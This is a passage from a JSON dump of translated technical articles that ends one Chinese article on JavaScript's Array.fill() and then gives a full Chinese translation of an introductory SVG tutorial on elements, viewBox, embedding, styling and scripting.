`fill(0, 2, 5)`。这意味着指定值的填充范围为从索引 `2` 开始直到数组的结尾。\n\n## 原始值，负起始索引值\n\n下面示例演示了指定原始值参数 `value` 和负的 `start` 参数值的情况：\n\n```js\nvar array = [1, 2, 3, 4, 5];\narray.fill(0, -2);\n// array: [1, 2, 3, 0, 0]\n```\n\n`fill()` 函数传入参数 `0` 和 `-2` 来进行调用，考虑到可选参数的默认值和负索引值的转换，这个函数调用相当于 `fill(0, 3, 5)`。这意味着指定值的填充范围为从索引 `3` 开始直到数组的结尾。指定负的 `start` 参数时要注意的是，如果这个值导致 `start` 参数值加上数组长度仍然小于 `0` 的话，`fill()` 函数将忽略`起始索引`值，并从数组的开头用指定值填充数组。\n\n## 原始值，正起始索引值，正结尾索引值\n\n下面示例演示了指定原始值参数 `value`、正的 `start` 和 `end` 参数值的情况：\n\n```js\nvar array = [1, 2, 3, 4, 5];\narray.fill(0, 2, 4);\n// array: [1, 2, 0, 0, 5]\n```\n\n`fill()` 函数传入参数 `0`、`2` 和 `4` 来进行调用，指定值的填充范围以索引 `2` 开始，在索引 `3` 处结束，因此只有从索引 `2` 开始的两个数组项填充了指定值。指定正的 `end` 参数值时需要注意的是，如果这个值大于数组长度，则 `fill()` 函数将忽略 `end` 参数值，并填充特定值到数组结尾。\n\n## 原始值，正起始索引值，负结尾索引值\n\n下面示例演示了指定原始值参数 `value`、正的 `start` 和负的 `end` 参数值的情况：\n\n```js\nvar array = [1, 2, 3, 4, 5];\narray.fill(0, 2, -3);\n// array: [1, 2, 3, 4, 5]\n```\n\n`fill()` 函数传入参数 `0`, `2` 和 `-3` 来进行调用。考虑到负索引值的转换，这个函数调用相当于 `fill(0, 2, 2)`。这个代码示例是在文章中我们第一次看到 `start` 和 `end` 参数值相同的情况。由于这两个索引参数值相同，索引特定值不会填充任何数组项，因此数组状态和执行函数前的状态完全相同。\n\n当使用 `fill()` 函数时，在以下任何一种情况下，都会发生结果数组与执行该函数之前状态完全相同的情况：`end` 参数值小于 `start` 参数值；`start` 参数值等于或大于数组长度；或者 `end` 参数值等于或小于`0`。\n\n## 对象值\n\n下面示例演示了指定对象值参数 `value` 的情况：\n\n```js\nvar array = [1, 2, 3];\narray.fill({ a: 1, b: 2 });\n// array: [{ a: 1, b: 2 }, { a: 1, b: 2 }, { a: 1, b: 2 }]\n```\n\n`fill()` 函数传入对象值参数 `value` 来进行调用。考虑到可选参数的默认值，这个函数调用相当于 `fill({ a: 1, b: 2 }, 0, 3)`。这意味着特定值的填充范围是从头到尾包含整个数组。尽管之前的示例中都使用的是原始值 `0` 用作 `value` 参数值，但该代码示例表明当必要时也可使用对象值来填充数组的指定范围。\n\n## 经验总结\n\n关于 `fill()` 函数，从本文中可以获得一些经验。第一是无论 `start` 和 `end` 指定什么值作为参数，`fill()` 函数**都不会**改变原始数组的大小。第二是除了返回一个修改后数组以外，`fill()` 函数还**会**直接修改原始数组。这意味着，如果出于某种原因需要维护原始数组的状态，那么需要在执行函数前深拷贝一个原始的数组。\n\n本文带来的另一个收获是，不再需要实现任何类型的自定义逻辑来用单个值替换数组中的所有或部分项。在这种情况下，首先想到的是通过 for 循环来实现这样的逻辑，这当然可以很好的工作，但是不会像使用 `fill()` 函数一样严谨和易于阅读。另一种类似的案例可能是创建特定大小的数组，并为每个索引设置默认值，我们首先想到的可能是创建数组，然后使用 for 循环来对数组进行默认值的填充。但是，使用 `fill()` 函数可以非常简单的实现，比如接下来的语句：`Array(10).fill(0)`。\n\n关于 `fill()` 函数需要知道的最后一件事情是如何处理作为 `value` 参数值传递的对象。当传递任何值作为 `value` 参数值时，数组中所有的填充项将会完全相同。对于对象，所有的填充项都将指向完全相同的对象。这意味着更新数组中已填充的任何对象都将更新其他数组里填充的对象。下面的示例展示了这个功能的实际作用：\n\n```js\nvar array1 = [1, 2, 3];\narray1.fill([1, 2, 3]);\n\n// array1: [[1, 2, 3], [1, 2, 3], [1, 2, 3]]\n\narray1[0].fill(0);\n\n// array1: [[0, 0, 0], [0, 0, 0], [0, 0, 0]]\n\nvar array2 = [1, 2, 3];\narray2.fill({ a: 1, b: 2});\n\n// array2: [{ a: 1, b: 2 }, { a: 1, b: 2 }, { a: 1, b: 2 }]\n\narray2[1].a = 3;\narray2[2].b = 4;\n\n// array2: [{ a: 3, b: 4 }, { a: 3, b: 4 }, { a: 3, b: 4 }]\n```\n\n在第一个数组的情况下，原始数组填充了三个数组，然后把这三个数组中的第一个数组用零填充。这导致其他两个数组也填充了零。在第二个数组的情况下，原始数组填充了三个对象，第二个和第三个对象都以相同的方式进行更改，导致三个对象都同时更新了值。当然，正如前面说到的，这是每个填充的数组或对象在填充数组时指向了完全相同的对象的结果。更改任何数组或对象相当于更改了实际引用的单个数组或对象。\n\n## 结论\n\n非常感谢你阅读本篇文章。我希望对 JavaScript `Array` 全局对象上的 `fill()` 函数的探索能提供很多有用的信息，并且希望获取这些知识能让你在自己的代码中充分利用到。如果你还有其他关于这个函数的疑问，建议你参考下面的链接获取与 `fill()` 函数有关的所有信息。请在将来继续浏览更多关于 JavaScript `Array` 全局对象上的有趣和有用的函数的文章。\n\n## 相关资源\n\n[Javascript Array.fill() 函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/fill)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/an-in-depth-svg-tutorial.md",
    "content": "> * 原文地址：[AN IN-DEPTH SVG TUTORIAL](https://flaviocopes.com/svg/)\n> * 原文作者：[flaviocopes.com](https://flaviocopes.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/an-in-depth-svg-tutorial.md](https://github.com/xitu/gold-miner/blob/master/TODO1/an-in-depth-svg-tutorial.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[dandyxu](https://github.com/dandyxu)、[allenlongbaobao](https://github.com/allenlongbaobao)\n\n#  深入浅出 SVG\n\nSVG 是优秀且令人难以置信的强大图像格式。本教程通过简单地解释所有需要了解的知识，为您提供 SVG 的概述。\n\n![](https://d33wubrfki0l68.cloudfront.net/50363ccc126579554d19078999c0b7bc173fb83f/3272b/svg/banner.png)\n\n## 介绍\n\n尽管在 21 世纪初被标准化了，SVG（**Scalable Vector Graphics** 的缩写）是近年来的一个热门话题。\n\nSVG 已经被糟糕的浏览器支持（尤其是 IE）惩罚了好多年。\n\n我发现这话源自一本 2011 的书：在撰写本文时，只有在最新的浏览器中才能将 SVG 直接嵌入到 HTML 中工作。7 年过去了，这句话现在已经是过去式了，我们可以很安全地使用 SVG 图像。\n\n现在我们可以安全地使用 SVG 图像，除非您有很多用户使用 IE8 以及更低版本，或者使用较旧的 Android 设备。这种情况下，依然存在着备选方案。\n\n![SVG 支持的浏览器](https://d33wubrfki0l68.cloudfront.net/fa8f32426c30d6e82f1aec35c6b25389036ed752/3723d/svg/svg-browser-support.png)\n\nSVG 成功的一部分是由于我们必须支持各种不同分辨率和尺寸的屏幕显示。SVG 能完美解决这个问题。\n\n同时，Flash 在过去几年的迅速衰退导致大家对 SVG 产生了兴趣。这对于 Flash 过去所做的许多事情都是非常重要的。\n\nSVG 是一种 **vector** 图像文件格式。这使得它们与其他图像格式（如 PNG、GIF 或 JPG）有很大的不同，后者是光栅图像文件格式。 \n\n## SVG 的优势\n\n由于 SVG 图像是矢量图像，可以**无限缩放**，而且在图像质量下降方面没有任何问题。为什么会这样呢？因为 SVG 图像是使用 **XML 标记**构建的，浏览器通过绘制每个点和线来打印它们，而不是用预定义的像素填充某些空间。这确保 SVG 图像可以适应不同的屏幕大小和分辨率，即使是那些尚未发明的。\n\n 由于是在 XML 中定义的，SVG 图像比 JPG 或 PNG 图像更**灵活**，而且**我们可以使用 CSS 和 JavaScript 与它们进行交互**。SVG 图像设置可以**包含** CSS 和 JavaScript。\n\nSVG 可以渲染比其他格式小得多的矢量风格图像，主要用于标识和插图。另一个巨大的用例是图标。曾经是图标字体域，比如 FontAwesome，现在的设计师更喜欢使用 SVG 图像，因为它更小，并且允许使用多色图标。\n\nSVG 在动画方面很简单，这是一个非常酷的话题。\n\nSVG 提供了一些图像编辑效果，比如屏蔽和剪裁、应用过滤器等等。\n\nSVG 只是文本，因此可以使用 GZip 对其进行有效压缩。\n\n## 您的第一个 SVG 图像\n\nSVG 图像使用 XML 定义，这意味着如果您精通 HTML，SVG 看起来会非常熟悉，除了在 SVG 中有标签适合文档构建（如  `p`、 `article`、 `footer`、 `aside`）我们还有矢量图的构建块： `path`、 `rect`、 `line` 等等。\n\n这是一个 SVG 图像示例：\n\n```\n<svg width=\"10\" height=\"10\">\n  <rect x=\"0\" y=\"0\" width=\"10\" height=\"10\" fill=\"blue\" />\n</svg>\n```\n\n注意它非常容易阅读和理解图像的样子：它是一个 10 x 10 像素的简单蓝色矩形（默认单元）。\n\n大多情况下，您不必编写 SVG 代码，因为您可以使用 Sketch 或 Figma 等工具或任何其他矢量图形工具来创建图像，并将其导出为 SVG。\n\nSVG 的当前版本是 1.1， SVG 2.0 正在研发。\n\n## 使用 SVG\n\n浏览器可以通过将它们包含在一个 `img` 标签中来显示 SVG 图像：\n\n```\n<img src=\"image.svg\" alt=\"My SVG image\" />\n```\n\n就像其他基于像素的图像格式一样：\n\n```\n<img src=\"image.png\" alt=\"My PNG image\" />\n<img src=\"image.jpg\" alt=\"My JPG image\" />\n<img src=\"image.gif\" alt=\"My GIF image\" />\n<img src=\"image.webp\" alt=\"My WebP image\" />\n```\n\n此外，SVG 非常独特，它们可以直接包含在 HTML 页面中：\n\n```\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>A page</title>\n  </head>\n  <body>\n    <svg width=\"10\" height=\"10\">\n      <rect x=\"0\" y=\"0\" width=\"10\" height=\"10\" fill=\"blue\" />\n    </svg>\n  </body>\n</html>\n```\n\n> 请注意 HTML5 和 XHTML 对于内联 SVG 图像需要不同的语法。幸运的是，XHTML已经是过去的事情了，因为它过于繁杂，但是如果您仍然需要处理 XHTML 页面，就值得去了解它。 \n\n **在 HTLM 中内联 SVG** 的功能使该格式成为场景中的 **unicorn**,因为其他图像不能这样做，必须为每个图像打开一个单独的请求来获取该格式。\n\n## SVG 元素\n\n在上面的示例中，您看到了 `rect` 元素的用法。SVG 有许多不同的元素。\n\n最常用的是\n\n*   `text`: 创建一个 text 元素\n*   `circle`: 创建一个圆\n*   `rect`: 创建一个矩形\n*   `line`: 创建一条线\n*   `path`: 在两点之间创建一条路径\n*   `textPath`: 在两点之间创建一条路径，并创建一个链接文本元素\n*   `polygon`: 允许创建任意类型的多边形\n*   `g`: 单独的元素\n\n> 坐标从绘图区域左上角的 0，0 开始，并 **从左到右**表示 `x`, **从上到下**表示 `y`。\n> \n> 您看到的图像反映了上面所示的代码。使用[浏览器 DevTools](https://flaviocopes.com/browser-dev-tools/)，您可以检查和更改它们。\n\n### `text`\n\n `text` 元素添加文本。可以使用鼠标选择文本。`x` 和 `y` 定义文本的起始点。\n\n```\n<svg>\n  <text x=\"5\" y=\"30\">A nice rectangle</text>\n</svg>\n```\n\n<svg>\n  <text x=\"5\" y=\"30\">漂亮的长方形</text>\n</svg>\n\n### `circle`\n\n定义圆。 `cx` 和 `cy` 是中心坐标，`r` 是半径。 `fill` 是一个常用属性，表示图形颜色。\n\n```\n<svg>\n  <circle cx=\"50\" cy=\"50\" r=\"50\" fill=\"#529fca\" />\n</svg>\n```\n\n<svg>\n  <circle cx=\"50\" cy=\"50\" r=\"50\" fill=\"#529fca\" />\n</svg>\n\n### `rect`\n\n定义矩形。 `x` ， `y` 是起始坐标，`width` 和 `height` 是自解释的。\n\n```\n<svg>\n  <rect x=\"0\" y=\"0\" width=\"100\" height=\"100\" fill=\"#529fca\" />\n</svg>\n```\n\n<svg>\n  <rect x=\"0\" y=\"0\" width=\"100\" height=\"100\" fill=\"#529fca\" />\n</svg>\n\n### `line`\n\n`x1` 和 `y1` 定义起始坐标。`x2` 和 `y2` 定义结束坐标。`stroke` 是一个常用属性，表示线条颜色。\n\n```\n<svg>\n  <line x1=\"0\" y1=\"0\" x2=\"100\" y2=\"100\" stroke=\"#529fca\" />\n</svg>\n```\n\n<svg>\n  <line x1=\"0\" y1=\"0\" x2=\"100\" y2=\"100\" stroke=\"#529fca\" />\n</svg>\n\n### `path`\n\n路径是一系列的直线和曲线。它是所有 SVG 绘制工具中最强大的，因此也是最复杂的。\n\n`d` 包含方向命令。这些命令以命令名和一组坐标开始：\n\n*   `M` 表示移动，它接受一组 x，y 坐标\n*   `L` 表示直线将绘制到它接受一组 x，y\n*   `H` 是一条水平线，它只接受 x 坐标\n*   `V` 是一条垂直线，它只接受 y 坐标\n*   `Z` 表示关闭路径，并将其放回起始位置\n*   `A` 表示 Arch，它自己需要一个完整的教程\n*   `Q` 是一条二次 Bezier 曲线，同样，它自己也需要一个完整的教程\n\n```\n<svg height=\"300\" width=\"300\">\n  <path d=\"M 100 100 L 200 200 H 10 V 40 H 70\"\n        fill=\"#59fa81\" stroke=\"#d85b49\" stroke-width=\"3\" />\n</svg>\n```\n\n<svg height=\"300\" width=\"300\">\n  <path d=\"M 100 100 L 200 200 H 10 V 40 H 70\"\n        fill=\"#59fa81\" stroke=\"#d85b49\" stroke-width=\"3\" />\n</svg>\n\n### `textPath`\n\n沿路径元素的形状添加文本。\n\n<svg viewBox=\"0 0 1000 600\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <defs>\n    <path id=\"MyPath\" d=\"M 20 40 Q 260 240 400 500\"></path>\n  </defs>\n  <use xlink:href=\"#MyPath\" fill=\"none\" stroke=\"#59fa81\"></use>\n  <text font-family=\"Courier New\" font-size=\"42.5\">\n    <textPath xlink:href=\"#MyPath\">\n      Wow such a nice SVG tut\n    </textPath>\n  </text>\n</svg>\n\n### `polygon`\n\n使用 `polygon` 绘制任意多边形。 `points` 代表一组 x，y 坐标多边形应该链接：\n\n```\n<svg>\n  <polygon points=\"9.9, 1.1, 3.3, 21.78, 19.8, 8.58, 0, 8.58, 16.5, 21.78\" />\n</svg>\n```\n\n<svg>\n  <polygon points=\"9.9, 1.1, 3.3, 21.78, 19.8, 8.58, 0, 8.58, 16.5, 21.78\" />\n</svg>\n\n### `g`\n\n使用 `g` 元素，您可以对多个元素进行分组： \n\n```\n<svg width=\"200\" height=\"200\">\n  <rect x=\"0\" y=\"0\" width=\"100\" height=\"100\" fill=\"#529fca\" />\n  <g id=\"my-group\">\n    <rect x=\"0\" y=\"100\" width=\"100\" height=\"100\" fill=\"#59fa81\" />\n    <rect x=\"100\" y=\"0\" width=\"100\" height=\"100\" fill=\"#59fa81\" />\n  </g>\n</svg>\n```\n\n<svg width=\"200\" height=\"200\">\n  <rect x=\"0\" y=\"0\" width=\"100\" height=\"100\" fill=\"#529fca\" />\n  <g id=\"my-group\">\n    <rect x=\"0\" y=\"100\" width=\"100\" height=\"100\" fill=\"#59fa81\" />\n    <rect x=\"100\" y=\"0\" width=\"100\" height=\"100\" fill=\"#59fa81\" />\n  </g>\n</svg>\n\n## SVG viewport 和 viewBox\n\nSVG 相对于其容器的大小由 `svg` 元素的 `width` 和 `height` 属性设置。这些单位默认为像素，但您可以使用任何其他常用单位，如 `%` 或 `em`。这是 **viewport**。\n\n> 通常 “container” 指的是浏览器窗口，但 `svg` 元素可以包含其他 `svg` 元素，在这种情况下，容器是父元素 `svg`。\n\n一个重要的属性是 `viewBox`。它允许您在 SVG 画布中定义一个新的坐标系统。\n\n假设在 200x200px SVG 中有一个简单的圆：\n\n```\n<svg width=\"200\" height=\"200\">\n  <circle cx=\"100\" cy=\"100\" r=\"100\" fill=\"#529fca\" />\n</svg>\n```\n\n<svg width=\"200\" height=\"200\">\n  <circle cx=\"100\" cy=\"100\" r=\"100\" fill=\"#529fca\" />\n</svg>\n\n通过指定 **viewBox** ，您可以选择 **只显示此 SVG 的一部分**。例如，您可以从 0，0 点开始，只显示一个 100 x 100 px 画布：\n\n```\n<svg width=\"200\" height=\"200\" viewBox=\"0 0 100 100\">\n  <circle cx=\"100\" cy=\"100\" r=\"100\" fill=\"#529fca\" />\n</svg>\n```\n\n<svg width=\"200\" height=\"200\" viewBox=\"0 0 100 100\">\n  <circle cx=\"100\" cy=\"100\" r=\"100\" fill=\"#529fca\" />\n</svg>\n\n从 100，100 开始，您会看到另一部分，圆圈的右下角：\n\n```\n<svg width=\"200\" height=\"200\" viewBox=\"100 100 100 100\">\n  <circle cx=\"100\" cy=\"100\" r=\"100\" fill=\"#529fca\" />\n</svg>\n```\n\n<svg width=\"200\" height=\"200\" viewBox=\"100 100 100 100\">\n  <circle cx=\"100\" cy=\"100\" r=\"100\" fill=\"#529fca\" />\n</svg>\n\n一个很好的可视化方法是想象 Google Maps 是一个巨大的 SVG 图像，而您的浏览器是一个和窗口大小一样大的视图框。当您移动时，Viewbox 会更改它的起始点（x,y）坐标，并且当您调整窗口的大小时，会更改 Viewbox 的宽度和高度。\n\n## 在 Web 网页中插入 SVG\n\n将 SVG 添加到网页中有多种方法。\n\n最常见的是：\n\n*   带有 `img` 标签\n*   带有 CSS `background-image` 属性\n*   在 HTML 中内联\n*   带有 `object`、 `iframe` 或 `embed` 标签\n\n在 Glitch 上可以查看这些示例 [https://flavio-svg-loading-ways.glitch.me/](https://flavio-svg-loading-ways.glitch.me/)\n\n### 带有 `img` 标签\n\n```\n<img src=\"flag.svg\" alt=\"Flag\" />\n```\n\n### 带有 css `background-image` 属性\n\n```\n<style>\n.svg-background {\n  background-image: url(flag.svg);\n  height: 200px;\n  width: 300px;\n}\n</style>\n<div class=\"svg-background\"></div>\n```\n\n### 在 HTML 中内联\n\n```\n<svg width=\"300\" height=\"200\" viewBox=\"0 0 300 200\"\n    version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\"\n    xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <title>Italian Flag</title>\n  <desc>By Flavio Copes https://flaviocopes.com</desc>\n  <g id=\"flag\">\n      <rect fill=\"green\" x=\"0\" y=\"0\" width=\"100\" height=\"200\"></rect>\n      <rect fill=\"white\" x=\"100\" y=\"0\" width=\"100\" height=\"200\"></rect>\n      <rect fill=\"red\" x=\"200\" y=\"0\" width=\"100\" height=\"200\"></rect>\n  </g>\n</svg>\n```\n\n### 带有 `object` 、`iframe` 或 `embed` 标签\n\n```\n<object data=\"flag.svg\" type=\"image/svg+xml\"></object>\n\n<iframe src=\"flag.svg\" frameborder=\"0\"></iframe>\n\n<embed src=\"flag.svg\" type=\"\" />\n```\n\n使用 `embed`，您可以使用以下命令从父文档获取 SVG 文档\n\n```\ndocument.getElementById('my-svg-embed').getSVGDocument()\n```\n\n在 SVG 内部，您可以通过以下方式引用父文档：\n\n```\nwindow.parent.document\n```\n\n## 使用数据 URL 内联 SVG\n\n您可以使用以上任何示例结合 [Data URLs](https://flaviocopes.com/data-urls/) 将 SVG 内联到 HTML 中：\n\n```\n<img src=\"data:image/svg+xml;<DATA>\" alt=\"Flag\" />\n\n<object data=\"data:image/svg+xml;<DATA>\" type=\"image/svg+xml\"></object>\n\n<iframe data=\"data:image/svg+xml;<DATA>\" frameborder=\"0\"></iframe>\n```\n\n在 CSS 中也是：\n\n```\n.svg-background {\n  background-image: url(\"data:image/svg+xml;<DATA>\");\n}\n```\n\n只需使用适当的[Data URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) 更改`<DATA>`。\n\n## 样式元素\n\n任何 SVG 元素都可以接受 `style` 属性，就像 HTML标签一样。并非所有的 CSS 属性都能像您预期的那样工作。例如，要更改文本元素的颜色，请使用 `fill` 而不是 `color`。\n\n```\n<svg>\n  <text x=\"5\" y=\"30\" style=\"fill: green\">A nice text</text>\n</svg>\n\n<svg>\n  <text x=\"5\" y=\"70\" style=\"fill: green; font-family: Courier New\">\n    A nice text\n  </text>\n</svg>\n```\n\n您也可以使用 `fill` 作为元素属性，正如您在前面看到的那样：\n\n```\n<svg>\n  <text x=\"5\" y=\"70\" fill=\"green\">A nice text</text>\n</svg>\n```\n\n其他公共属性包括\n\n*   `fill-opacity`，背景颜色不透明度\n*   `stroke`，定义边框颜色\n*   `stroke-width`，设置边框宽度\n\nCSS 可以针对 SVG 元素，就像您以 HTML 标签为目标一样：\n\n```\nrect {\n  fill: red;\n}\ncircle {\n  fill: blue;\n}\n```\n\n## 使用 CSS 或 JavaSCript 与 SVG 交互\n\nSVG 图像可以使用 CSS 进行样式化，或者使用 JavaScript 编写脚本，这种情况下：\n\n*   **当 SVG 在 HTML 中内联**\n*   通过 `object` 、`embed` 或 `iframe` 标签加载图像时\n\n但是 (⚠️ 取决于浏览器实现) 它们必须从相同的域（和协议）加载，这是同源策略所导致的。\n`iframe` 需要显式定义的尺寸，否则内容将被裁剪，同时调整 `object` 和 `embed` 尺寸以适应其内容。.\n\n如果 SVG 是使用 `img` 标签加载的，或者使用 CSS 作为背景，则与源无关：\n\n*   CSS 和 JavaScript 不能与之进行交互\n*   SVG 中包含的 JavaScript 被禁用\n*   无法从外部加载资源（如图像、样式表、脚本、字体）\n\n细节\n\n* * *\n\n| 特性 |  SVG 内联 | `object`/`embed`/`iframe` | `img` |\n| --- | --- | --- | --- |\n| 可以与用户交互 | ✅ | ✅ | ✅ |\n| 支持动画 | ✅ | ✅ | ✅ |\n| 可以运行 JavaScript 脚本 | ✅ | ✅ | 👎🏼 |\n| 可以从外部编写脚本 | ✅ | 👎🏼 | 👎🏼 |\n\n内联 SVG 图像无疑是最强大和最灵活的，它是使用 SVG 执行某些操作的唯一方法。\n\n**如果您想要 SVG 与您的脚本进行任何交互，它必须以内联的方式加载到 HTML中**。\n\n如果您不需要与 SVG 交互，只需在页面中显示它，将 SVG 加载至 `img` 、 `object` 或者 `embed` 中即可，如果您在不同的页面中重用 SVG 图像，或者 SVG 图像的大小相当大，那么加载 SVG 就特别方便。\n\n### CSS 嵌入 SVG\n\n将 CSS 加至 CDATA:\n\n```\n<svg>\n  <style>\n    <![CDATA[\n      #my-rect { fill: blue; }\n    ]]>\n  </style>\n  <rect id=\"my-rect\" x=\"0\" y=\"0\" width=\"10\" height=\"10\" />\n</svg>\n```\n\nSVG 文件还可以包括外部样式表\n\n```\n<?xml version=\"1.0\" standalone=\"no\"?>\n<?xml-stylesheet type=\"text/css\" href=\"style.css\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\"\n     width=\"..\" height=\"..\" viewBox=\"..\">\n  <rect id=\"my-rect\" x=\"0\" y=\"0\" width=\"10\" height=\"10\" />\n</svg>\n```\n\n### JavaScript 嵌入 SVG\n\n你可以将 JavaScript 放在第一个位置上，并包装在一个 `load` 事件中，以便在页面完全加载并在 DOM 中插入 SVG 时执行它：\n\n```\n<svg>\n  <script>\n    <![CDATA[\n      window.addEventListener(\"load\", () => {\n        //...\n      }, false)\n    ]]>\n  </script>\n  <rect x=\"0\" y=\"0\" width=\"10\" height=\"10\" fill=\"blue\" />\n</svg>\n```\n\n或者如果您将 JS 放在其他 SVG 代码的末尾，可以避免添加事件监听，确保当 SVG 出现在页面时 JavaSCript 会执行。\n\n```\n<svg>\n  <rect x=\"0\" y=\"0\" width=\"10\" height=\"10\" fill=\"blue\" />\n  <script>\n    <![CDATA[\n      //...\n    ]]>\n  </script>\n</svg>\n```\n\n与 HTML 元素一样，SVG 元素也可以有 `id` 和 `class` 属性，因此我们可以使用 [Selectors API](https://flaviocopes.com/selectors-api/) 来引用它们：\n\n```\n<svg>\n  <rect x=\"0\" y=\"0\" width=\"10\" height=\"10\" fill=\"blue\"\n        id=\"my-rect\" class=\"a-rect\" />\n  <script>\n    <![CDATA[\n      console.log(document.getElementsByTagName('rect'))\n      console.log(document.getElementById('my-rect'))\n      console.log(document.querySelector('.a-rect'))\n      console.log(document.querySelectorAll('.a-rect'))\n    ]]>\n  </script>\n</svg>\n```\n\n请查看此故障 [https://flaviocopes-svg-script.glitch.me/](https://flaviocopes-svg-script.glitch.me/) 以获得功能性提示。\n\n### SVG 外部的 JavaScript\n\n如果可以与 SVG 交互（SVG 在 HTML 中是内联的），则可以使用 JavaScript 更改任何 SVG 属性，例如：\n\n```\ndocument.getElementById(\"my-svg-rect\").setAttribute(\"fill\", \"black\")\n```\n\n或者真正地做任何您想要的 [DOM](https://flaviocopes.com/dom/) 操作。\n\n### SVG 外部的 CSS\n\n您可以使用 CSS 更改 SVG 图像的任何样式。\n\nSVG 属性可以很容易地在 CSS中 被覆盖，并且它们比 CSS 具有更低的优先级。它们的行为不像具有更高优先级的内联 CSS。\n\n```\n<style>\n  #my-rect {\n    fill: red\n  }\n</style>\n<svg>\n  <rect x=\"0\" y=\"0\" width=\"10\" height=\"10\" fill=\"blue\"\n        id=\"my-rect\" />\n</svg>\n```\n\n## SVG vs Canvas API\n\n Canvas API 是 Web 平台一个很好的补充，它有类似于 SVG 的浏览器支持。与 SVG 主要的（也是最大的）不同之处是：画布不是基于矢量的，而是基于像素的，所以\n\n*   它具有与基于像素的 png、jpg 和 gif 图像格式相同的缩放问题。\n*   这使得不可能像使用 SVG 那样使用 CSS 或 JavaScropt 编辑画布图像。\n\n## SVG 符号\n\n符号使您可以定义一次SVG图像，并在多个地方重用它。如果您需要重用一个图像，这是一个很大的帮助，可能只是改变一点它的一些属性。\n\n您可以通过添加一个 `symbol` 元素并分配一个 `id` 属性来完成此操作：\n\n```\n<svg class=\"hidden\">\n  <symbol id=\"rectangle\" viewBox=\"0 0 20 20\">\n    <rect x=\"0\" y=\"0\" width=\"300\" height=\"300\" fill=\"rgb(255,159,0)\" />\n  </symbol>\n</svg>\n```\n\n```\n<svg>\n  <use xlink:href=\"#rectangle\" href=\"#rectangle\" />\n</svg>\n\n<svg>\n  <use xlink:href=\"#rectangle\" href=\"#rectangle\" />\n</svg>\n```\n\n(`xlink:href` 用于 Safari 支持，即使它是一个已废弃的属性)\n\n这让我们能开始了解 SVG 的强大功能。\n\n如果您希望对这两个矩形使用不同的样式，例如，对每个矩形使用不同的颜色？您可以使用[CSS 变量](https://flaviocopes.com/css-variables/).\n\n```\n<svg class=\"hidden\">\n  <symbol id=\"rectangle\" viewBox=\"0 0 20 20\">\n    <rect x=\"0\" y=\"0\" width=\"300\" height=\"300\" fill=\"var(--color)\" />\n  </symbol>\n</svg>\n```\n\n```\n<svg class=\"blue\">\n  <use xlink:href=\"#rectangle\" href=\"#rectangle\" />\n</svg>\n\n<svg class=\"red\">\n  <use xlink:href=\"#rectangle\" href=\"#rectangle\" />\n</svg>\n\n<style>\nsvg.red {\n  --color: red;\n}\nsvg.blue {\n  --color: blue;\n}\n</style>\n```\n\n查看 SVG 符号--[我的 Glitch playground](https://flavio-svg-symbols.glitch.me/)。\n\n## 验证 SVG\n\nSVG 文件是 XML，可以用无效的格式编写，有些服务或应用程序可能不接受无效的 SVG 文件。\n\nSVG 可以使用 [W3C Validator](https://validator.w3.org)验证。\n\n## 我应该包含 `xmlns` 属性么？\n\n有时 SVG 别定义为\n\n```\n<svg>\n  ...\n</svg>\n```\n\n有时定义为\n\n```\n<svg version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\">\n  ...\n</svg>\n```\n\n第二个表单是 XHTML。它可以与 HTML5 一起使用（文档具有 `<!DOCTYPE html>`），但在本例中，第一种形式更简单。\n\n## 我应该担心浏览器支持问题么？\n\n在 2018 版本中，绝大多数用户的浏览器都支持 SVG。.\n\n您仍然可以使用诸如 [Modernizr](https://modernizr.com/) 这样的库来检查缺少的支持，并提供一个后备：\n\n```\nif (!Modernizr.svg) {\n  $(\".my-svg\").attr(\"src\", \"images/logo.png\");\n}\n```\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/an-introduction-to-css-shapes.md",
